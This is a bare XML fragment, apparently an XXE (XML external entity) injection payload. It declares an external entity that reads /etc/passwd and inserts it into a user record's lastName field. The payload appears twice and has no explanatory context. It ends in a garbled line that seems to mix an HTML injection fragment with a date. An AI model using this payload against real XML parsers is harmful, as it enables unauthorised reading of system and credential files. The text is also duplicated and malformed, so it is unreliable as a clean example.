<!--?xml version="1.0" ?-->
<!DOCTYPE replace <!ENTITY ent SYSTEM "file:///etc/passwd"> >
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
<!DOCTYPE replace <!ENTITY ent SYSTEM "file:///etc/passwd"> >
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
by '"><u><urclapped March 9, 2023